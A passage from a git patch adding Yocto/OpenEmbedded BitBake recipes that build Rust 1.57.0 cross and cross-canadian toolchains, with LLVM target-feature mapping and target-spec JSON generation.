:"b2c13ec1b9f3b39a75c452c80c951dff9d0215e31d77e883b4502afb31794647","src/windows/gnu/mod.rs":"3c8c7edb7cdf5d0c44af936db2a94869585c69dfabeef30571b4f4e38375767a","src/windows/mod.rs":"1cd9223293255b994814487e28d9979fb8ebef4538a236c1aa47fdc166a149cc","src/windows/msvc/mod.rs":"860dc98245039bc3aa5782ef2b5798d009ea6655bd27a63f244be2206d2cb47f","src/windows/msvc/x86_64.rs":"25d35a5ba8e19569a5bed573dcf8c82f7ce53da7c91941f9ceda6fe86cab1088","tests/const_fn.rs":"cb75a1f0864f926aebe79118fc34d51a0d1ade2c20a394e7774c7e545f21f1f4"},"package":"dd8f7255a17a627354f321ef0055d63b898c6fb27eff628af4d1b66b7331edf6"}
+--
+2.20.1
+
diff --git a/meta/recipes-devtools/rust/libstd-rs_1.57.0.bb b/meta/recipes-devtools/rust/libstd-rs_1.57.0.bb
new file mode 100644
index 0000000000..e50665e1b7
--- /dev/null
+++ b/meta/recipes-devtools/rust/libstd-rs_1.57.0.bb
@@ -0,0 +1,11 @@
+require rust-source.inc
+require libstd-rs.inc
+
+SRC_URI += " \
+ file://0005-Add-base-definitions-for-riscv64-musl-libc.patch;patchdir=../../ \
+ file://0006-FIXUP-linux-musl-mod.rs-add-riscv64-to-b64-set.patch;patchdir=../../ \
+ file://0007-FIXUP-Correct-definitions-to-match-musl.patch;patchdir=../../ \
+ file://0008-Update-checksums-for-modified-files-for-rust.patch;patchdir=../../ \
+"
+# libstd moved from src/libstd to library/std in 1.47+
+S = "${RUSTSRC}/library/std"
diff --git a/meta/recipes-devtools/rust/rust-common.inc b/meta/recipes-devtools/rust/rust-common.inc
new file mode 100644
index 0000000000..ceeee97863
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust-common.inc
@@ -0,0 +1,369 @@
+
+# Right now this is focused on arm-specific tune features.
+# We get away with this for now as one can only use x86-64 as the build host
+# (not arm).
+# Note that TUNE_FEATURES is _always_ refering to the target, so we really
+# don't want to use this for the host/build.
+def llvm_features_from_tune(d):
+ f = []
+ feat = d.getVar('TUNE_FEATURES')
+ if not feat:
+ return []
+ feat = frozenset(feat.split())
+
+ mach_overrides = d.getVar('MACHINEOVERRIDES')
+ mach_overrides = frozenset(mach_overrides.split(':'))
+
+ if 'vfpv4' in feat:
+ f.append("+vfp4")
+ if 'vfpv3' in feat:
+ f.append("+vfp3")
+ if 'vfpv3d16' in feat:
+ f.append("+d16")
+
+ if 'vfpv2' in feat or 'vfp' in feat:
+ f.append("+vfp2")
+
+ if 'neon' in feat:
+ f.append("+neon")
+
+ if 'mips32' in feat:
+ f.append("+mips32")
+
+ if 'mips32r2' in feat:
+ f.append("+mips32r2")
+
+ if target_is_armv7(d):
+ f.append('+v7')
+
+ if ('armv6' in mach_overrides) or ('armv6' in feat):
+ f.append("+v6")
+ if 'armv5te' in feat:
+ f.append("+strict-align")
+ f.append("+v5te")
+ elif 'armv5' in feat:
+ f.append("+strict-align")
+ f.append("+v5")
+
+ if ('armv4' in mach_overrides) or ('armv4' in feat):
+ f.append("+strict-align")
+
+ if 'dsp' in feat:
+ f.append("+dsp")
+
+ if 'thumb' in feat:
+ if d.getVar('ARM_THUMB_OPT') == "thumb":
+ if target_is_armv7(d):
+ f.append('+thumb2')
+ f.append("+thumb-mode")
+
+ if 'cortexa5' in feat:
+ f.append("+a5")
+ if 'cortexa7' in feat:
+ f.append("+a7")
+ if 'cortexa9' in feat:
+ f.append("+a9")
+ if 'cortexa15' in feat:
+ f.append("+a15")
+ if 'cortexa17' in feat:
+ f.append("+a17")
+ if ('riscv64' in feat) or ('riscv32' in feat):
+ f.append("+a,+c,+d,+f,+m")
+ return f
+llvm_features_from_tune[vardepvalue] = "${@llvm_features_from_tune(d)}"
+
+# TARGET_CC_ARCH changes from build/cross/target so it'll do the right thing
+# this should go away when https://github.com/rust-lang/rust/pull/31709 is
+# stable (1.9.0?)
+def llvm_features_from_cc_arch(d):
+ f = []
+ feat = d.getVar('TARGET_CC_ARCH')
+ if not feat:
+ return []
+ feat = frozenset(feat.split())
+
+ if '-mmmx' in feat:
+ f.append("+mmx")
+ if '-msse' in feat:
+ f.append("+sse")
+ if '-msse2' in feat:
+ f.append("+sse2")
+ if '-msse3' in feat:
+ f.append("+sse3")
+ if '-mssse3' in feat:
+ f.append("+ssse3")
+ if '-msse4.1' in feat:
+ f.append("+sse4.1")
+ if '-msse4.2' in feat:
+ f.append("+sse4.2")
+ if '-msse4a' in feat:
+ f.append("+sse4a")
+ if '-mavx' in feat:
+ f.append("+avx")
+ if '-mavx2' in feat:
+ f.append("+avx2")
+
+ return f
+
+def llvm_features_from_target_fpu(d):
+ # TARGET_FPU can be hard or soft. +soft-float tell llvm to use soft float
+ # ABI. There is no option for hard.
+
+ fpu = d.getVar('TARGET_FPU', True)
+ return ["+soft-float"] if fpu == "soft" else []
+
+def llvm_features(d):
+ return ','.join(llvm_features_from_tune(d) +
+ llvm_features_from_cc_arch(d) +
+ llvm_features_from_target_fpu(d))
+
+
+## arm-unknown-linux-gnueabihf
+DATA_LAYOUT[arm-eabi] = "e-m:e-p:32:32-i64:64-v128:64:128-a:0:32-n32-S64"
+LLVM_TARGET[arm-eabi] = "${RUST_TARGET_SYS}"
+TARGET_ENDIAN[arm-eabi] = "little"
+TARGET_POINTER_WIDTH[arm-eabi] = "32"
+TARGET_C_INT_WIDTH[arm-eabi] = "32"
+MAX_ATOMIC_WIDTH[arm-eabi] = "64"
+FEATURES[arm-eabi] = "+v6,+vfp2"
+
+## armv7-unknown-linux-gnueabihf
+DATA_LAYOUT[armv7-eabi] = "e-m:e-p:32:32-i64:64-v128:64:128-a:0:32-n32-S64"
+LLVM_TARGET[armv7-eabi] = "${RUST_TARGET_SYS}"
+TARGET_ENDIAN[armv7-eabi] = "little"
+TARGET_POINTER_WIDTH[armv7-eabi] = "32"
+TARGET_C_INT_WIDTH[armv7-eabi] = "32"
+MAX_ATOMIC_WIDTH[armv7-eabi] = "64"
+FEATURES[armv7-eabi] = "+v7,+vfp2,+thumb2"
+
+## aarch64-unknown-linux-{gnu, musl}
+DATA_LAYOUT[aarch64] = "e-m:e-i8:8:32-i16:16:32-i64:64-i128:128-n32:64-S128"
+LLVM_TARGET[aarch64] = "${RUST_TARGET_SYS}"
+TARGET_ENDIAN[aarch64] = "little"
+TARGET_POINTER_WIDTH[aarch64] = "64"
+TARGET_C_INT_WIDTH[aarch64] = "32"
+MAX_ATOMIC_WIDTH[aarch64] = "128"
+
+## x86_64-unknown-linux-{gnu, musl}
+DATA_LAYOUT[x86_64] = "e-m:e-i64:64-f80:128-n8:16:32:64-S128"
+LLVM_TARGET[x86_64] = "${RUST_TARGET_SYS}"
+TARGET_ENDIAN[x86_64] = "little"
+TARGET_POINTER_WIDTH[x86_64] = "64"
+TARGET_C_INT_WIDTH[x86_64] = "32"
+MAX_ATOMIC_WIDTH[x86_64] = "64"
+
+## x86_64-unknown-linux-gnux32
+DATA_LAYOUT[x86_64-x32] = "e-m:e-p:32:32-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
+LLVM_TARGET[x86_64-x32] = "${RUST_TARGET_SYS}"
+TARGET_ENDIAN[x86_64-x32] = "little"
+TARGET_POINTER_WIDTH[x86_64-x32] = "32"
+TARGET_C_INT_WIDTH[x86_64-x32] = "32"
+MAX_ATOMIC_WIDTH[x86_64-x32] = "64"
+
+## i686-unknown-linux-{gnu, musl}
+DATA_LAYOUT[i686] = "e-m:e-p:32:32-f64:32:64-f80:32-n8:16:32-S128"
+LLVM_TARGET[i686] = "${RUST_TARGET_SYS}"
+TARGET_ENDIAN[i686] = "little"
+TARGET_POINTER_WIDTH[i686] = "32"
+TARGET_C_INT_WIDTH[i686] = "32"
+MAX_ATOMIC_WIDTH[i686] = "64"
+
+## XXX: a bit of a hack so qemux86 builds, clone of i686-unknown-linux-{gnu, musl} above
+DATA_LAYOUT[i586] = "e-m:e-p:32:32-f64:32:64-f80:32-n8:16:32-S128"
+LLVM_TARGET[i586] = "${RUST_TARGET_SYS}"
+TARGET_ENDIAN[i586] = "little"
+TARGET_POINTER_WIDTH[i586] = "32"
+TARGET_C_INT_WIDTH[i586] = "32"
+MAX_ATOMIC_WIDTH[i586] = "64"
+
+## mips-unknown-linux-{gnu, musl}
+DATA_LAYOUT[mips] = "E-m:m-p:32:32-i8:8:32-i16:16:32-i64:64-n32-S64"
+LLVM_TARGET[mips] = "${RUST_TARGET_SYS}"
+TARGET_ENDIAN[mips] = "big"
+TARGET_POINTER_WIDTH[mips] = "32"
+TARGET_C_INT_WIDTH[mips] = "32"
+MAX_ATOMIC_WIDTH[mips] = "32"
+
+## mipsel-unknown-linux-{gnu, musl}
+DATA_LAYOUT[mipsel] = "e-m:m-p:32:32-i8:8:32-i16:16:32-i64:64-n32-S64"
+LLVM_TARGET[mipsel] = "${RUST_TARGET_SYS}"
+TARGET_ENDIAN[mipsel] = "little"
+TARGET_POINTER_WIDTH[mipsel] = "32"
+TARGET_C_INT_WIDTH[mipsel] = "32"
+MAX_ATOMIC_WIDTH[mipsel] = "32"
+
+## mips64-unknown-linux-{gnu, musl}
+DATA_LAYOUT[mips64] = "E-m:e-i8:8:32-i16:16:32-i64:64-n32:64-S128"
+LLVM_TARGET[mips64] = "${RUST_TARGET_SYS}"
+TARGET_ENDIAN[mips64] = "big"
+TARGET_POINTER_WIDTH[mips64] = "64"
+TARGET_C_INT_WIDTH[mips64] = "64"
+MAX_ATOMIC_WIDTH[mips64] = "64"
+
+## mips64el-unknown-linux-{gnu, musl}
+DATA_LAYOUT[mips64el] = "e-m:e-i8:8:32-i16:16:32-i64:64-n32:64-S128"
+LLVM_TARGET[mips64el] = "${RUST_TARGET_SYS}"
+TARGET_ENDIAN[mips64el] = "little"
+TARGET_POINTER_WIDTH[mips64el] = "64"
+TARGET_C_INT_WIDTH[mips64el] = "64"
+MAX_ATOMIC_WIDTH[mips64el] = "64"
+
+## powerpc-unknown-linux-{gnu, musl}
+DATA_LAYOUT[powerpc] = "E-m:e-p:32:32-i64:64-n32"
+LLVM_TARGET[powerpc] = "${RUST_TARGET_SYS}"
+TARGET_ENDIAN[powerpc] = "big"
+TARGET_POINTER_WIDTH[powerpc] = "32"
+TARGET_C_INT_WIDTH[powerpc] = "32"
+MAX_ATOMIC_WIDTH[powerpc] = "32"
+
+## powerpc64-unknown-linux-{gnu, musl}
+DATA_LAYOUT[powerpc64] = "E-m:e-i64:64-n32:64-S128-v256:256:256-v512:512:512"
+LLVM_TARGET[powerpc64] = "${RUST_TARGET_SYS}"
+TARGET_ENDIAN[powerpc64] = "big"
+TARGET_POINTER_WIDTH[powerpc64] = "64"
+TARGET_C_INT_WIDTH[powerpc64] = "64"
+MAX_ATOMIC_WIDTH[powerpc64] = "64"
+
+## powerpc64le-unknown-linux-{gnu, musl}
+DATA_LAYOUT[powerpc64le] = "e-m:e-i64:64-n32:64-v256:256:256-v512:512:512"
+LLVM_TARGET[powerpc64le] = "${RUST_TARGET_SYS}"
+TARGET_ENDIAN[powerpc64le] = "little"
+TARGET_POINTER_WIDTH[powerpc64le] = "64"
+TARGET_C_INT_WIDTH[powerpc64le] = "64"
+MAX_ATOMIC_WIDTH[powerpc64le] = "64"
+
+## riscv32-unknown-linux-{gnu, musl}
+DATA_LAYOUT[riscv32] = "e-m:e-p:32:32-i64:64-n32-S128"
+LLVM_TARGET[riscv32] = "${RUST_TARGET_SYS}"
+TARGET_ENDIAN[riscv32] = "little"
+TARGET_POINTER_WIDTH[riscv32] = "32"
+TARGET_C_INT_WIDTH[riscv32] = "32"
+MAX_ATOMIC_WIDTH[riscv32] = "32"
+
+## riscv64-unknown-linux-{gnu, musl}
+DATA_LAYOUT[riscv64] = "e-m:e-p:64:64-i64:64-i128:128-n64-S128"
+LLVM_TARGET[riscv64] = "${RUST_TARGET_SYS}"
+TARGET_ENDIAN[riscv64] = "little"
+TARGET_POINTER_WIDTH[riscv64] = "64"
+TARGET_C_INT_WIDTH[riscv64] = "64"
+MAX_ATOMIC_WIDTH[riscv64] = "64"
+
+def sys_for(d, thing):
+ return d.getVar('{}_SYS'.format(thing))
+
+def prefix_for(d, thing):
+ return d.getVar('{}_PREFIX'.format(thing))
+
+# Convert a normal arch (HOST_ARCH, TARGET_ARCH, BUILD_ARCH, etc) to something
+# rust's internals won't choke on.
+def arch_to_rust_target_arch(arch):
+ if arch == "i586" or arch == "i686":
+ return "x86"
+ elif arch == "mipsel":
+ return "mips"
+ elif arch == "mip64sel":
+ return "mips64"
+ elif arch == "armv7":
+ return "arm"
+ elif arch == "powerpc64le":
+ return "powerpc64"
+ else:
+ return arch
+
+# generates our target CPU value
+def llvm_cpu(d):
+ cpu = d.getVar('PACKAGE_ARCH')
+ target = d.getVar('TRANSLATED_TARGET_ARCH')
+
+ trans = {}
+ trans['corei7-64'] = "corei7"
+ trans['core2-32'] = "core2"
+ trans['x86-64'] = "x86-64"
+ trans['i686'] = "i686"
+ trans['i586'] = "i586"
+ trans['powerpc'] = "powerpc"
+ trans['mips64'] = "mips64"
+ trans['mips64el'] = "mips64"
+ trans['riscv64'] = "generic-rv64"
+ trans['riscv32'] = "generic-rv32"
+
+ if target in ["mips", "mipsel"]:
+ feat = frozenset(d.getVar('TUNE_FEATURES').split())
+ if "mips32r2" in feat:
+ trans['mipsel'] = "mips32r2"
+ trans['mips'] = "mips32r2"
+ elif "mips32" in feat:
+ trans['mipsel'] = "mips32"
+ trans['mips'] = "mips32"
+
+ try:
+ return trans[cpu]
+ except:
+ return trans.get(target, "generic")
+
+TARGET_LLVM_CPU="${@llvm_cpu(d)}"
+TARGET_LLVM_FEATURES = "${@llvm_features(d)}"
+
+# class-native implies TARGET=HOST, and TUNE_FEATURES only describes the real
+# (original) target.
+TARGET_LLVM_FEATURES:class-native = "${@','.join(llvm_features_from_cc_arch(d))}"
+
+def rust_gen_target(d, thing, wd, features, cpu, arch, abi=""):
+ import json
+ sys = sys_for(d, thing)
+ prefix = prefix_for(d, thing)
+
+ if abi:
+ arch_abi = "{}-{}".format(arch, abi)
+ else:
+ arch_abi = arch
+
+ features = features or d.getVarFlag('FEATURES', arch_abi) or ""
+ features = features.strip()
+
+ # build tspec
+ tspec = {}
+ tspec['llvm-target'] = d.getVarFlag('LLVM_TARGET', arch_abi)
+ tspec['data-layout'] = d.getVarFlag('DATA_LAYOUT', arch_abi)
+ tspec['max-atomic-width'] = int(d.getVarFlag('MAX_ATOMIC_WIDTH', arch_abi))
+ tspec['target-pointer-width'] = d.getVarFlag('TARGET_POINTER_WIDTH', arch_abi)
+ tspec['target-c-int-width'] = d.getVarFlag('TARGET_C_INT_WIDTH', arch_abi)
+ tspec['target-endian'] = d.getVarFlag('TARGET_ENDIAN', arch_abi)
+ tspec['arch'] = arch_to_rust_target_arch(arch)
+ tspec['os'] = "linux"
+ if "musl" in tspec['llvm-target']:
+ tspec['env'] = "musl"
+ else:
+ tspec['env'] = "gnu"
+ if "riscv64" in tspec['llvm-target']:
+ tspec['llvm-abiname'] = "lp64d"
+ if "riscv32" in tspec['llvm-target']:
+ tspec['llvm-abiname'] = "ilp32d"
+ tspec['vendor'] = "unknown"
+ tspec['target-family'] = "unix"
+ tspec['linker'] = "{}{}gcc".format(d.getVar('CCACHE'), prefix)
+ tspec['cpu'] = cpu
+ if features != "":
+ tspec['features'] = features
+ tspec['dynamic-linking'] = True
+ tspec['executables'] = True
+ tspec['linker-is-gnu'] = True
+ tspec['linker-flavor'] = "gcc"
+ tspec['has-rpath'] = True
+ tspec['has-elf-tls'] = True
+ tspec['position-independent-executables'] = True
+ tspec['panic-strategy'] = d.getVar("RUST_PANIC_STRATEGY")
+
+ # write out the target spec json file
+ with open(wd + sys + '.json', 'w') as f:
+ json.dump(tspec, f, indent=4)
+
+python do_rust_gen_targets () {
+ wd = d.getVar('WORKDIR') + '/targets/'
+ build_arch = d.getVar('BUILD_ARCH')
+ rust_gen_target(d, 'BUILD', wd, "", "generic", build_arch)
+}
+
+addtask rust_gen_targets after do_patch before do_compile
+do_rust_gen_targets[dirs] += "${WORKDIR}/targets"
+
diff --git a/meta/recipes-devtools/rust/rust-cross-canadian-common.inc b/meta/recipes-devtools/rust/rust-cross-canadian-common.inc
new file mode 100644
index 0000000000..827000f7bd
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust-cross-canadian-common.inc
@@ -0,0 +1,55 @@
+
+RUST_ALTERNATE_EXE_PATH = "${STAGING_LIBDIR_NATIVE}/llvm-rust/bin/llvm-config"
+
+require rust.inc
+
+DEPENDS += "rust-llvm (=${PV})"
+
+inherit cross-canadian
+
+DEPENDS += " \
+ virtual/${HOST_PREFIX}gcc-crosssdk \
+ virtual/nativesdk-libc rust-llvm-native \
+ virtual/${TARGET_PREFIX}compilerlibs \
+ virtual/nativesdk-${HOST_PREFIX}compilerlibs \
+ gcc-cross-${TARGET_ARCH} \
+ "
+
+# The host tools are likely not to be able to do the necessary operation on
+# the target architecturea. Alternatively one could check compatibility
+# between host/target.
+EXCLUDE_FROM_SHLIBS_${RUSTLIB_TARGET_PN} = "1"
+
+DEBUG_PREFIX_MAP = "-fdebug-prefix-map=${WORKDIR}=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR} \
+ -fdebug-prefix-map=${STAGING_DIR_HOST}= \
+ -fdebug-prefix-map=${STAGING_DIR_NATIVE}= \
+ "
+
+LLVM_TARGET[x86_64] = "${RUST_HOST_SYS}"
+python do_rust_gen_targets () {
+ wd = d.getVar('WORKDIR') + '/targets/'
+ rust_gen_target(d, 'TARGET', wd, d.getVar('TARGET_LLVM_FEATURES') or "", d.getVar('TARGET_LLVM_CPU'), d.getVar('TARGET_ARCH'))
+ rust_gen_target(d, 'HOST', wd, "", "generic", d.getVar('HOST_ARCH'))
+ rust_gen_target(d, 'BUILD', wd, "", "generic", d.getVar('BUILD_ARCH'))
+}
+
+INHIBIT_DEFAULT_RUST_DEPS = "1"
+
+export WRAPPER_TARGET_CC = "${CCACHE}${TARGET_PREFIX}gcc --sysroot=${STAGING_DIR_TARGET} ${TARGET_CC_ARCH} ${SECURITY_NOPIE_CFLAGS}"
+export WRAPPER_TARGET_CXX = "${CCACHE}${TARGET_PREFIX}g++ --sysroot=${STAGING_DIR_TARGET} ${TARGET_CC_ARCH} ${SECURITY_NOPIE_CFLAGS}"
+export WRAPPER_TARGET_CCLD = "${TARGET_PREFIX}gcc --sysroot=${STAGING_DIR_TARGET} ${TARGET_CC_ARCH} ${SECURITY_NOPIE_CFLAGS}"
+export WRAPPER_TARGET_LDFLAGS = "${TARGET_LDFLAGS}"
+export WRAPPER_TARGET_AR = "${TARGET_PREFIX}ar"
+
+python do_configure:prepend() {
+ targets = [d.getVar("TARGET_SYS", True), "{}-unknown-linux-gnu".format(d.getVar("HOST_ARCH", True))]
+ hosts = ["{}-unknown-linux-gnu".format(d.getVar("HOST_ARCH", True))]
+}
+
+INSANE_SKIP:${RUSTLIB_TARGET_PN} = "file-rdeps arch ldflags"
+SKIP_FILEDEPS:${RUSTLIB_TARGET_PN} = "1"
+
+INHIBIT_PACKAGE_DEBUG_SPLIT = "1"
+INHIBIT_PACKAGE_STRIP = "1"
+INHIBIT_SYSROOT_STRIP = "1"
+
diff --git a/meta/recipes-devtools/rust/rust-cross-canadian.inc b/meta/recipes-devtools/rust/rust-cross-canadian.inc
new file mode 100644
index 0000000000..8bbbd61bdc
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust-cross-canadian.inc
@@ -0,0 +1,78 @@
+
+require rust-cross-canadian-common.inc
+
+RUSTLIB_TARGET_PN = "rust-cross-canadian-rustlib-target-${TRANSLATED_TARGET_ARCH}"
+RUSTLIB_HOST_PN = "rust-cross-canadian-rustlib-host-${TRANSLATED_TARGET_ARCH}"
+RUSTLIB_SRC_PN = "rust-cross-canadian-src"
+RUSTLIB_PKGS = "${RUSTLIB_SRC_PN} ${RUSTLIB_TARGET_PN} ${RUSTLIB_HOST_PN}"
+PN = "rust-cross-canadian-${TRANSLATED_TARGET_ARCH}"
+
+PACKAGES = "${RUSTLIB_PKGS} ${PN}"
+RDEPENDS:${PN} += "${RUSTLIB_PKGS}"
+
+# The default behaviour of x.py changed in 1.47+ so now we need to
+# explicitly ask for the stage 2 compiler to be assembled.
+do_compile () {
+ rust_runx build --stage 2
+}
+
+do_install () {
+ # Rust requires /usr/lib to contain the libs.
+ # Similar story is with /usr/bin ruquiring `lib` to be at the same level.
+ # The required structure is retained for simplicity.
+ SYS_LIBDIR=$(dirname ${D}${libdir})
+ SYS_BINDIR=$(dirname ${D}${bindir})
+ RUSTLIB_DIR=${SYS_LIBDIR}/${TARGET_SYS}/rustlib
+
+ install -d "${SYS_BINDIR}"
+ cp build/${SNAPSHOT_BUILD_SYS}/stage2/bin/* ${SYS_BINDIR}
+ for i in ${SYS_BINDIR}/*; do
+ chrpath -r "\$ORIGIN/../lib" ${i}
+ done
+
+ install -d "${D}${libdir}"
+ cp -pRd build/${SNAPSHOT_BUILD_SYS}/stage2/lib/${TARGET_SYS}/*.so ${SYS_LIBDIR}
+ cp -pRd build/${SNAPSHOT_BUILD_SYS}/stage2/lib/${TARGET_SYS}/rustlib ${RUSTLIB_DIR}
+
+ for i in ${SYS_LIBDIR}/*.so; do
+ chrpath -r "\$ORIGIN/../lib" ${i}
+ done
+ for i in ${RUSTLIB_DIR}/*/lib/*.so; do
+ chrpath -d ${i}
+ done
+
+ install -m 0644 "${WORKDIR}/targets/${TARGET_SYS}.json" "${RUSTLIB_DIR}"
+
+ SRC_DIR=${RUSTLIB_DIR}/src/rust
+ install -d ${SRC_DIR}/src/llvm-project
+ cp -R --no-dereference build/${SNAPSHOT_BUILD_SYS}/stage2/lib/rustlib/src/rust/src/llvm-project/libunwind ${SRC_DIR}/src/llvm-project
+ cp -R --no-dereference build/${SNAPSHOT_BUILD_SYS}/stage2/lib/rustlib/src/rust/library ${SRC_DIR}
+ cp --no-dereference build/${SNAPSHOT_BUILD_SYS}/stage2/lib/rustlib/src/rust/Cargo.lock ${SRC_DIR}
+ # Remove executable bit from any files so then SDK doesn't try to relocate.
+ chmod -R -x+X ${SRC_DIR}
+
+ ENV_SETUP_DIR=${D}${base_prefix}/environment-setup.d
+ mkdir "${ENV_SETUP_DIR}"
+ ENV_SETUP_SH="${ENV_SETUP_DIR}/rust.sh"
+
+ cat <<- EOF > "${ENV_SETUP_SH}"
+ export RUSTFLAGS="--sysroot=\$OECORE_NATIVE_SYSROOT/usr -C link-arg=--sysroot=\$OECORE_TARGET_SYSROOT -L\$OECORE_NATIVE_SYSROOT/usr/lib/${TARGET_SYS}/rustlib/${TARGET_SYS}/lib"
+ export RUST_TARGET_PATH="\$OECORE_NATIVE_SYSROOT/usr/lib/${TARGET_SYS}/rustlib"
+ EOF
+
+ chown -R root.root ${D}
+}
+
+PKG_SYS_LIBDIR = "${SDKPATHNATIVE}/usr/lib"
+PKG_SYS_BINDIR = "${SDKPATHNATIVE}/usr/bin"
+PKG_RUSTLIB_DIR = "${PKG_SYS_LIBDIR}/${TARGET_SYS}/rustlib"
+FILES:${PN} = "${PKG_SYS_LIBDIR}/*.so ${PKG_SYS_BINDIR} ${base_prefix}/environment-setup.d"
+FILES:${RUSTLIB_TARGET_PN} = "${PKG_RUSTLIB_DIR}/${TARGET_SYS} ${PKG_RUSTLIB_DIR}/${TARGET_SYS}.json"
+FILES:${RUSTLIB_HOST_PN} = "${PKG_RUSTLIB_DIR}/${BUILD_ARCH}-unknown-linux-gnu"
+FILES:${RUSTLIB_SRC_PN} = "${PKG_RUSTLIB_DIR}/src"
+
+SUMMARY:${RUSTLIB_TARGET_PN} = "Rust cross canadian libaries for ${TARGET_SYS}"
+SUMMARY:${RUSTLIB_HOST_PN} = "Rust cross canadian libaries for ${HOST_SYS}"
+SUMMARY:${RUSTLIB_SRC_PN} = "Rust standard library sources for cross canadian toolchain"
+SUMMARY:${PN} = "Rust crost canadian compiler"
+
diff --git a/meta/recipes-devtools/rust/rust-cross-canadian_1.57.0.bb b/meta/recipes-devtools/rust/rust-cross-canadian_1.57.0.bb
new file mode 100644
index 0000000000..766912c019
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust-cross-canadian_1.57.0.bb
@@ -0,0 +1,6 @@
+require rust-cross-canadian.inc
+require rust-source.inc
+require rust-snapshot.inc
+
+FILESEXTRAPATHS:prepend := "${THISDIR}/rust:"
+
diff --git a/meta/recipes-devtools/rust/rust-cross.inc b/meta/recipes-devtools/rust/rust-cross.inc
new file mode 100644
index 0000000000..a77f7d5122
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust-cross.inc
@@ -0,0 +1,73 @@
+require rust.inc
+inherit cross
+
+python do_rust_gen_targets () {
+ wd = d.getVar('WORKDIR') + '/targets/'
+ # It is important 'TARGET' is last here so that it overrides our less
+ # informed choices for BUILD & HOST if TARGET happens to be the same as
+ # either of them.
+ for thing in ['BUILD', 'HOST', 'TARGET']:
+ bb.debug(1, "rust_gen_target for " + thing)
+ features = ""
+ cpu = "generic"
+ arch = d.getVar('{}_ARCH'.format(thing))
+ abi = ""
+ if thing is "TARGET":
+ abi = d.getVar('ABIEXTENSION')
+ # arm and armv7 have different targets in llvm
+ if arch == "arm" and target_is_armv7(d):
+ arch = 'armv7'
+ features = d.getVar('TARGET_LLVM_FEATURES') or ""
+ cpu = d.getVar('TARGET_LLVM_CPU')
+ rust_gen_target(d, thing, wd, features, cpu, arch, abi)
+}
+
+# Otherwise we'll depend on what we provide
+INHIBIT_DEFAULT_RUST_DEPS = "1"
+
+# Unlike native (which nicely maps it's DEPENDS) cross wipes them out completely.
+# Generally, we (and cross in general) need the same things that native needs,
+# so it might make sense to take it's mapping. For now, though, we just mention
+# the bits we need explicitly.
+DEPENDS += "rust-llvm-native"
+DEPENDS += "virtual/${TARGET_PREFIX}gcc virtual/${TARGET_PREFIX}compilerlibs virtual/libc"
+DEPENDS += "rust-native"
+
+PROVIDES = "virtual/${TARGET_PREFIX}rust"
+PN = "rust-cross-${TUNE_PKGARCH}-${TCLIBC}"
+
+# In the cross compilation case, rustc doesn't seem to get the rpath quite
+# right. It manages to include '../../lib/${TARGET_PREFIX}', but doesn't
+# include the '../../lib' (ie: relative path from cross_bindir to normal
+# libdir. As a result, we end up not being able to properly reference files in normal ${libdir}.
+# Most of the time this happens to work fine as the systems libraries are
+# subsituted, but sometimes a host system will lack a library, or the right
+# version of a library (libtinfo was how I noticed this).
+#
+# FIXME: this should really be fixed in rust itself.
+# FIXME: using hard-coded relative paths is wrong, we should ask bitbake for
+# the relative path between 2 of it's vars.
+HOST_POST_LINK_ARGS:append = " -Wl,-rpath=../../lib"
+BUILD_POST_LINK_ARGS:append = " -Wl,-rpath=../../lib"
+
+# We need the same thing for the calls to the compiler when building the runtime crap
+TARGET_CC_ARCH:append = " --sysroot=${STAGING_DIR_TARGET}"
+
+do_rust_setup_snapshot () {
+}
+
+do_configure () {
+}
+
+do_compile () {
+}
+
+do_install () {
+ mkdir -p ${D}${prefix}/${base_libdir_native}/rustlib
+ cp ${WORKDIR}/targets/${TARGET_SYS}.json ${D}${prefix}/${base_libdir_native}/rustlib
+}
+
+rust_cross_sysroot_preprocess() {
+ sysroot_stage_dir ${D}${prefix}/${base_libdir_native}/rustlib ${SYSROOT_DESTDIR}${prefix}/${base_libdir_native}/rustlib
+}
+SYSROOT_PREPROCESS_FUNCS += "rust_cross_sysroot_preprocess"
diff --git a/meta/recipes-devtools/rust/rust-cross_1.57.0.bb b/meta/recipes-devtools/rust/rust-cross_1.57.0.bb
new file mode 100644
index 0000000000..3179d395d2
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust-cross_1.57.0.bb
@@ -0,0 +1,2 @@
+require rust-cross.inc
+require rust-source.inc
diff --git a/meta/recipes-devtools/rust/rust-llvm.inc b/meta/recipes-devtools/rust/rust-llvm.inc
new file mode 100644
index 0000000000..0f8fb785b7
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust-llvm.inc
@@ -0,0 +1,69 @@
+SUMMARY = "LLVM compiler framework (packaged with rust)"
+LICENSE ?= "Apache-2.0-with-LLVM-exception"
+HOMEPAGE = "http://www.rust-lang.org"
+
+SRC_URI += "file://0002-llvm-allow-env-override-of-exe-path.patch;striplevel=2"
+
+S = "${RUSTSRC}/src/llvm-project/llvm"
+
+LIC_FILES_CHKSUM = "file://LICENSE.TXT;md5=8a15a0759ef07f2682d2ba4b893c9afe"
+
+inherit cmake python3native
+
+DEPENDS += "ninja-native rust-llvm-native"
+
+ARM_INSTRUCTION_SET:armv5 = "arm"
+ARM_INSTRUCTION_SET:armv4t = "arm"
+
+# rustc_llvm with debug info is not recognized as a valid crate that's
+# generated by rust-llvm-native.
+CFLAGS:remove = "-g"
+CXXFLAGS:remove = "-g"
+
+LLVM_DIR = "llvm${LLVM_RELEASE}"
+
+EXTRA_OECMAKE = " \
+ -DCMAKE_BUILD_TYPE=Release \
+ -DLLVM_TARGETS_TO_BUILD='ARM;AArch64;Mips;PowerPC;RISCV;X86' \
+ -DLLVM_BUILD_DOCS=OFF \
+ -DLLVM_ENABLE_TERMINFO=OFF \
+ -DLLVM_ENABLE_ZLIB=OFF \
+ -DLLVM_ENABLE_LIBXML2=OFF \
+ -DLLVM_ENABLE_FFI=OFF \
+ -DLLVM_INSTALL_UTILS=ON \
+ -DLLVM_BUILD_EXAMPLES=OFF \
+ -DLLVM_INCLUDE_EXAMPLES=OFF \
+ -DLLVM_BUILD_TESTS=OFF \
+ -DLLVM_INCLUDE_TESTS=OFF \
+ -DLLVM_TARGET_ARCH=${TARGET_ARCH} \
